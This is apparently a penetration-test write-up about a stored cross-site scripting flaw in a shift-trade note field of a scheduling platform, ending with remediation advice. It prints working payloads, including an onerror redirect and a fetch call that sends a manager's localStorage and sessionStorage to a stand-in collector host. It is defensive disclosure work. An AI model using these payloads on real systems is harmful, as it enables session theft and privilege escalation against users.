A Note From an Employee, a Cookie From the Boss
Real finding, masked to
app.example.com. The client, the product, and the live host are hidden, and the captured request has been sanitized. Payload variations for this kind of sink live in PayloadsAllTheThings XSS Injection.
Cross site scripting gets treated as a tired, low tier bug. Reflect an alert in a search box, collect your small bounty, move on. That reputation is why stored XSS in the right place still quietly hands over the keys, and this engagement was a clean example. The vulnerable app was a workforce scheduling platform with mobile clients on Android and iOS plus a web console. Employees use the phone app to manage their shifts. Managers and admins use the web console to approve things. Two audiences, one dataset, and a trust gap running right down the middle.
The interesting feature was the shift trade request. An employee can ask to swap a shift, and when they do, they get to attach a couple of free text notes: one aimed at whoever receives the request, and one aimed at the admins who approve it. Innocent enough. A place for "can you cover Tuesday, I have a dentist appointment."
I was logged in as the lowest role the app has, a plain employee. The first thing I try in any free text field that another human will later read is whether it stores markup. Not a full weaponized payload yet, just a probe to see what survives.
The field said yes to everything
I opened a trade request on the phone and set the recipient note to a basic image based payload:
<img src="OnXSS" onerror="(location.href='https://malicious.example')">
An <img> with a broken src guarantees the onerror handler fires, which is the most reliable way to get code running without needing a <script> tag at all. I submitted the request. The API took it without complaint. The request that carried it looked like this, sanitized:
GET /app/schedule/trade?action=create&date=2025-10-03&sched=2&slot=4
&recipient_note=%3Cimg%20Src%3DOnXSS%20OnError%3D(location.href%3D%27https%3A%2F%2Fmalicious.example%27)%3E
&admin_note=%3Cimg%20Src%3DOnXSS%20OnError%3D...%3E&trade_user=6 HTTP/1.1
Host: app.example.com
Cookie: <employee session>
X-Requested-With: XMLHttpRequest
{ "success": true }
"success": true. The note was stored exactly as I typed it, markup and all, no encoding, no stripping, no length limit that mattered. On the phone the note looked like broken text, which is easy to dismiss. The phone was never the target though. The target was the person who reads that note later.
The payload was patient, the manager was not
Stored XSS is a trap you set and walk away from. I placed it, then changed hats. I logged into the web console as a manager, the exact thing a real approver does every day, and opened the trade request to review it. Hovering over the notes icon was enough. The manager's browser parsed my <img>, hit the broken src, fired the onerror, and ran my JavaScript in the manager's authenticated session on the real domain.
That is the whole escalation. A low privilege employee wrote text. A high privilege manager's browser executed it. The employee never touched the manager's account directly. They just left a note and waited for the org chart to do the rest.
Turning a popup into the manager's session
Proving execution with a redirect is fine for a screenshot, but the real question a client needs answered is "what can an attacker actually take." So I swapped the harmless payload for one that exfiltrates. This is the note I stored instead:
<img src="x" onerror="fetch('https://collect.attacker.example/?ls='
+encodeURIComponent(JSON.stringify(localStorage))
+'&ss='+encodeURIComponent(JSON.stringify(sessionStorage)))">
When the manager opened the request, their browser packaged up the entire contents of localStorage and sessionStorage for that origin and shipped it to a server I controlled. Anything the app kept client side, tokens, identifiers, cached profile data, arrived at my collector, tagged and ready. For the pieces that lived in cookies rather than storage, the same technique that worked in my support widget writeup applies: the script runs as the manager, so authenticated fetch calls to the app's own API carry the manager's session automatically, and I act with their privileges without ever reading a cookie.
I watched the manager's data land on my listener, confirmed I could operate as them, and stopped there. That is the line. You show the session is takeable, you do not go operate the business.
Why a "note field" is a privilege escalation
Spell out why this earns critical and not the shrug XSS usually gets.
The direction of the attack is upward. Access control in this app is built to stop low roles from touching high roles. This bug ignores all of it, because the employee is not calling a privileged endpoint. They are storing text, and the privileged user runs it voluntarily by doing their normal job. The permission model never gets a say.
It is remote and needs no special access. The attacker is an ordinary employee with an ordinary account. No insider tooling, no stolen credentials, no local access to anyone's machine. A shift trade and a wait.
It is trivial to deliver at scale. Every trade request an employee files is another loaded note. Point them all at the approvers and you have a payload that fires whenever anyone with authority does their job.
And the same stored value rendered in both the mobile app and the web console, so the sink was not a one off in a single view. It was the data itself being unsafe wherever it was shown.
Fixing it properly, not just patching the one field
The instinct is to sanitize that one note field and call it done. That treats the symptom. The real fix is layered.
Encode on output, everywhere that value is rendered. The note should be displayed as text, never parsed as HTML. Use the framework's safe rendering path so <img> shows up as the literal characters <img> and never becomes an element. This is the fix that actually kills the bug.
Add a Content Security Policy as a second wall. A strict script-src without 'unsafe-inline' means that even if a sink slips through in some future view, an injected inline handler will not run. Defense in depth, so one mistake is not fatal.
Validate on input as hygiene, not as the primary control. Restrict absurd characters and lengths on notes, but never rely on input filtering alone, because there is always an encoding you did not think of. The PayloadsAllTheThings XSS filter bypass notes exist precisely because blocklists lose.
Then audit every other free text field the same way. Comments, profile fields, descriptions, anything one user writes and another user views is the same bug waiting in a different costume.
What I carried out of it
Stored XSS is not about the popup. It is about the second person, the one who opens what the first person wrote. When you test an input, the question is never "does it reflect." The question is "who reads this later, and what are they allowed to do." Find a field that a low privilege user can write and a high privilege user will open, and you have found a staircase that runs the wrong way up the org chart.
A field for a note became a channel to the boss's browser. Free text is never just text once someone else has to look at it.